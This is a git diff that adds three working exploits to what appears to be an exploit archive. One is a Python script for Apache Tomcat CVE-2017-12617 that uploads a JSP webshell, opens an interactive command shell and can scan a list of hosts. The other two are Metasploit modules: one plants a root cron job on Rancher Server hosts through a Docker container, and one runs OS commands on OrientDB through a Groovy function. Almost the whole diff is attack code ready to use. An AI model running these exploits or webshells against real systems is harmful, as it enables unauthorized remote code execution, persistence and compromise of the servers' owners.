diff --git a/files.csv b/files.csv index 1c3604cdc..3dc5ecde7 100644 --- a/files.csv +++ b/files.csv @@ -15894,6 +15894,8 @@ id,file,description,date,author,platform,type,port 42949,platforms/linux/remote/42949.txt,"UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution",2017-10-02,agix,linux,remote,0 42952,platforms/windows/remote/42952.py,"ERS Data System 1.8.1 - Java Deserialization",2017-09-21,"West Shepherd",windows,remote,0 42958,platforms/linux/remote/42958.py,"Unitrends UEB 9.1 - Authentication Bypass / Remote Command Execution",2017-08-08,"Jared Arave",linux,remote,0 +42964,platforms/lin_x86-64/remote/42964.rb,"Rancher Server - Docker Daemon Code Execution (Metasploit)",2017-10-09,Metasploit,lin_x86-64,remote,8080 +42965,platforms/multiple/remote/42965.rb,"OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit)",2017-10-09,Metasploit,multiple,remote,2480 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 @@ -38660,3 +38662,4 @@ id,file,description,date,author,platform,type,port 42956,platforms/hardware/webapps/42956.txt,"NETGEAR ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution",2017-09-27,"Kacper Szurek",hardware,webapps,0 42959,platforms/php/webapps/42959.py,"Unitrends UEB 9.1 - Privilege Escalation",2017-08-08,"Jared Arave",php,webapps,0 42961,platforms/ruby/webapps/42961.txt,"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery",2017-08-30,"Dhiraj Mishra",ruby,webapps,0 +42966,platforms/jsp/webapps/42966.py,"Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution",2017-10-09,intx0x80,jsp,webapps,0 diff --git a/platforms/jsp/webapps/42966.py b/platforms/jsp/webapps/42966.py new file mode 100755 index 000000000..23fe02b83 --- /dev/null +++ b/platforms/jsp/webapps/42966.py @@ -0,0 +1,212 @@ +#!/usr/bin/python +import requests +import re +import signal +from optparse import OptionParser + + + + + + + + +class bcolors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + + + + +banner=""" + + + _______ ________ ___ ___ __ ______ __ ___ __ __ ______ + / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | + | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / + | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / + | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / + \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ + + + +[@intx0x80] + +""" + + + + + +def signal_handler(signal, frame): + + print ("\033[91m"+"\n[-] Exiting"+"\033[0m") + + exit() + +signal.signal(signal.SIGINT, signal_handler) + + + + +def removetags(tags): + remove = re.compile('<.*?>') + txt = re.sub(remove, '\n', tags) + return txt.replace("\n\n\n","\n") + + +def getContent(url,f): + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} + re=requests.get(str(url)+"/"+str(f), headers=headers) + return re.content + +def createPayload(url,f): + evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>' + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} + req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers) + if req.status_code==201: + print "File Created .." + + +def RCE(url,f): + EVIL="""
+ <%@ page import="java.io.*" %> + <% + String cmd = request.getParameter("cmd"); + String output = ""; + if(cmd != null) { + String s = null; + try { + Process p = Runtime.getRuntime().exec(cmd,null,null); + BufferedReader sI = new BufferedReader(new +InputStreamReader(p.getInputStream())); + while((s = sI.readLine()) != null) { output += s+""; } + } catch(IOException e) { e.printStackTrace(); } + } +%> +<%=output %>""" + + + + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} + + req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) + + + +def shell(url,f): + + while True: + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} + cmd=raw_input("$ ") + payload={'cmd':cmd} + if cmd=="q" or cmd=="Q": + break + + re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) + re=str(re.content) + t=removetags(re) + print t + + + + + +#print bcolors.HEADER+ banner+bcolors.ENDC + +parse=OptionParser( + + +bcolors.HEADER+""" + + + _______ ________ ___ ___ __ ______ __ ___ __ __ ______ + / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | + | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / + | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / + | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / + \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ + + + + +./cve-2017-12617.py [options] + +options: + +-u ,--url [::] check target url if it's vulnerable +-p,--pwn [::] generate webshell and upload it +-l,--list [::] hosts list + +[+]usage: + +./cve-2017-12617.py -u http://127.0.0.1 +./cve-2017-12617.py --url http://127.0.0.1 +./cve-2017-12617.py -u http://127.0.0.1 -p pwn +./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn +./cve-2017-12617.py -l hotsts.txt +./cve-2017-12617.py --list hosts.txt + + +[@intx0x80] + +"""+bcolors.ENDC + + ) + + +parse.add_option("-u","--url",dest="U",type="string",help="Website Url") +parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") +parse.add_option("-l","--list",dest="L",type="string",help="hosts File") + +(opt,args)=parse.parse_args() + +if opt.U==None and opt.P==None and opt.L==None: + print(parse.usage) + exit(0) + + + +else: + if opt.U!=None and opt.P==None and opt.L==None: + print bcolors.OKGREEN+banner+bcolors.ENDC + url=str(opt.U) + checker="Poc.jsp" + print bcolors.BOLD +"Poc Filename {}".format(checker) + createPayload(str(url)+"/",checker) + con=getContent(str(url)+"/",checker) + if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: + print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC + print bcolors.WARNING+url+"/"+checker+bcolors.ENDC + + else: + print 'Not Vulnerable to CVE-2017-12617 ' + elif opt.P!=None and opt.U!=None and opt.L==None: + print bcolors.OKGREEN+banner+bcolors.ENDC + pwn=str(opt.P) + url=str(opt.U) + print "Uploading Webshell ....." + pwn=pwn+".jsp" + RCE(str(url)+"/",pwn) + shell(str(url),pwn) + elif opt.L!=None and opt.P==None and opt.U==None: + print bcolors.OKGREEN+banner+bcolors.ENDC + w=str(opt.L) + f=open(w,"r") + print "Scaning hosts in {}".format(w) + checker="Poc.jsp" + for i in f.readlines(): + i=i.strip("\n") + createPayload(str(i)+"/",checker) + con=getContent(str(i)+"/",checker) + if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: + print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m" diff --git a/platforms/lin_x86-64/remote/42964.rb b/platforms/lin_x86-64/remote/42964.rb new file mode 100755 index 000000000..6b31df152 --- /dev/null +++ b/platforms/lin_x86-64/remote/42964.rb @@ -0,0 +1,234 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rancher Server - Docker Exploit', + 'Description' => %q( + Utilizing Rancher Server, an attacker can create a docker container + with the '/' path mounted with read/write permissions on the host + server that is running the docker container. As the docker container + executes command as uid 0 it is honored by the host operating system + allowing the attacker to edit/create files owed by root. This exploit + abuses this to creates a cron job in the '/etc/cron.d/' path of the + host server. + + The Docker image should exist on the target system or be a valid image + from hub.docker.com. + + Use `check` with verbose mode to get a list of exploitable Rancher + Hosts managed by the target system. + ), + 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre + 'License' => MSF_LICENSE, + 'References' => [ + 'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface' + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Payload' => { 'Space' => 65000 }, + 'Targets' => [[ 'Linux', {} ]], + 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 27, 2017')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]), + OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), + OptString.new('CONTAINER_ID', [ false, 'container id you would like']), + OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), + OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)']) + ] + ) + register_advanced_options( + [ + OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]), + OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]) + ] + ) + end + + def del_container(rancher_container_id, container_id) + res = send_request_cgi( + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + + return vprint_good('The docker container has been removed.') if res && res.code == 200 + + print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.") + end + + def make_container_id + return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? + + rand_text_alpha_lower(8) + end + + def make_cmd(mnt_path, cron_path, payload_path) + vprint_status('Creating the docker container command') + echo_cron_path = mnt_path + cron_path + echo_payload_path = mnt_path + payload_path + + command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& " + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& " + command << "echo \"\" >> #{echo_cron_path} \&\& " + command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}" + + command + end + + def make_container(mnt_path, cron_path, payload_path, container_id) + vprint_status('Setting container json request variables') + { + 'instanceTriggeredStop' => 'stop', + 'startOnCreate' => true, + 'networkMode' => 'managed', + 'requestedHostId' => datastore['TARGETHOST'], + 'type' => 'container', + 'dataVolumes' => [ '/:' + mnt_path ], + 'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'], + 'name' => container_id, + 'command' => make_cmd(mnt_path, cron_path, payload_path), + 'entryPoint' => %w[sh -c] + } + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + + if res.nil? + print_error('Failed to connect to the target') + return Exploit::CheckCode::Unknown + end + + if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version') + print_error('Authorization is required. Provide valid Rancher API Keys.') + return Exploit::CheckCode::Detected + end + + if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version') + target_found = false + target_selected = false + + environments = JSON.parse(res.body)['data'] + environments.each do |e| + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + + hosts = JSON.parse(res.body)['data'] + hosts.each do |h| + target_found = true + result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on " + result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found" + + # flag results when this host is targeted via options + if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id'] + target_selected = true + vprint_good(result + ' %red<-- targeted%clr') + else + vprint_good(result) + end + end + end + + if target_found + return Exploit::CheckCode::Vulnerable if target_selected + + print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available") + if datastore['VERBOSE'] == false + print_bad('Try verbose mode to know what happened.') + end + vprint_bad('Choose a TARGETHOST and TARGETENV from the results above') + return Exploit::CheckCode::Appears + else + print_bad('No TARGETHOST available') + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + + def exploit + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::Unknown, 'Failed to connect to the target') + end + + # create required information to create json container information + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + payload_path = '/tmp/' + rand_text_alpha(8) + mnt_path = '/mnt/' + rand_text_alpha(8) + container_id = make_container_id + + # deploy docker container + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' }, + 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json + ) + fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201 + + print_good('The docker container is created, waiting for it to deploy') + + # cleanup + register_files_for_cleanup(cron_path, payload_path) + + rancher_container_id = JSON.parse(res.body)['id'] + deleted_container = false + + sleep_time = 5 + wait_time = datastore['WAIT_TIMEOUT'] + vprint_status("Waiting up to #{wait_time} seconds until the docker container stops") + + while wait_time > 0 + sleep(sleep_time) + wait_time -= sleep_time + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id), + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' } + ) + next unless res && res.code == 200 && res.body.include?('stopped') + + vprint_good('The docker container has stopped, now trying to remove it') + del_container(rancher_container_id, container_id) + deleted_container = true + wait_time = 0 + end + + # if container does not deploy, try to remove it and fail out + unless deleted_container + del_container(rancher_container_id, container_id) + fail_with(Failure::Unknown, "The docker container failed to start") + end + + print_status('Waiting for the cron job to run, can take up to 60 seconds') + end +end \ No newline at end of file diff --git a/platforms/multiple/remote/42965.rb b/platforms/multiple/remote/42965.rb new file mode 100755 index 000000000..01c64929e --- /dev/null +++ b/platforms/multiple/remote/42965.rb @@ -0,0 +1,256 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OrientDB 2.2.x Remote Code Execution', + 'Description' => %q{ + This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. + All versions from 2.2.2 up to 2.2.22 should be vulnerable. + }, + 'Author' => + [ + 'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC + 'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'], + ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'], + ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'] + ], + 'Platform' => %w{ linux unix win }, + 'Privileged' => false, + 'Targets' => + [ + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}] + ], + 'DisclosureDate' => 'Jul 13 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(2480), + OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]), + OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]), + OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ]) + ]) + end + + def check + uri = target_uri + uri.path = normalize_uri(uri.path) + res = send_request_raw({'uri' => "#{uri.path}listDatabases"}) + if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./ + print_good("Version: #{res.headers['Server']}") + return Exploit::CheckCode::Vulnerable + else + print_status("Version: #{res.headers['Server']}") + return Exploit::CheckCode::Safe + end + end + + def http_send_command(cmd, opts = {}) + # 1 -Create the malicious function + func_name = Rex::Text::rand_text_alpha(5).downcase + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, + 'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}" + } + res = send_request_raw(request_parameters) + if not (res and res.code == 201) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to create the malicious function.') + return + end + end + # 2 - Trigger the malicious function + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, + 'data' => "" + } + req = send_request_raw(request_parameters) + if not (req and req.code == 200) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to trigger the malicious function.') + return + end + end + # 3 - Get the malicious function id + if res && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["@rid"] + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.') + return + end + end + func_id = json_body.slice(1..-1) + # 4 - Delete the malicious function + request_parameters = { + 'method' => 'DELETE', + 'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "" + } + rer = send_request_raw(request_parameters) + if not (rer and rer.code == 204) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to delete the malicious function.') + return + end + end + end + + def java_craft_runtime_exec(cmd) + decoder = Rex::Text.rand_text_alpha(5, 8) + decoded_bytes = Rex::Text.rand_text_alpha(5, 8) + cmd_array = Rex::Text.rand_text_alpha(5, 8) + jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + jcode << "String [] #{cmd_array} = new String[3];\n" + if target['Platform'] == 'win' + jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" + jcode << "#{cmd_array}[1] = \"/c\";\n" + else + jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" + jcode << "#{cmd_array}[1] = \"-c\";\n" + end + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" + jcode + end + + def on_new_session(client) + if not @to_delete.nil? + print_warning("Deleting #{@to_delete} payload file") + execute_command("rm #{@to_delete}") + end + end + + def execute_command(cmd, opts = {}) + vprint_status("Attempting to execute: #{cmd}") + @uri = target_uri + @uri.path = normalize_uri(@uri.path) + res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["databases"] + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + else + print_error("Timeout or unexpected response...") + return + end + targetdb = json_body[0] + http_send_command(cmd,targetdb) + end + + def linux_stager + cmds = "echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(4+rand(4)) + execute_command("touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("chmod +x /tmp/#{file}") + execute_command("rm /tmp/#{file}.b64") + execute_command("/tmp/#{file}") + @to_delete = "/tmp/#{file}" + end + + def exploit + @uri = target_uri + @uri.path = normalize_uri(@uri.path) + res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["databases"] + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + else + print_error("Timeout or unexpected response...") + return + end + targetdb = json_body[0] + privs_enable = ['create','read','update','execute','delete'] + items = ['database.class.ouser','database.function','database.systemclusters'] + # Set the required DB permissions + privs_enable.each do |priv| + items.each do |item| + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"), + 'vars_get' => { 'format' => 'rid,type,version,class,graph' }, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "GRANT #{priv} ON #{item} TO writer" + } + res = send_request_raw(request_parameters) + end + end + # Exploit + case target['Platform'] + when 'win' + print_status("#{rhost}:#{rport} - Sending command stager...") + execute_cmdstager(flavor: :vbs) + when 'unix' + print_status("#{rhost}:#{rport} - Sending payload...") + res = http_send_command("#{payload.encoded}","#{targetdb}") + when 'linux' + print_status("#{rhost}:#{rport} - Sending Linux stager...") + linux_stager + end + handler + # Final Cleanup + privs_enable.each do |priv| + items.each do |item| + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"), + 'vars_get' => { 'format' => 'rid,type,version,class,graph' }, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "REVOKE #{priv} ON #{item} FROM writer" + } + res = send_request_raw(request_parameters) + end + end + end +end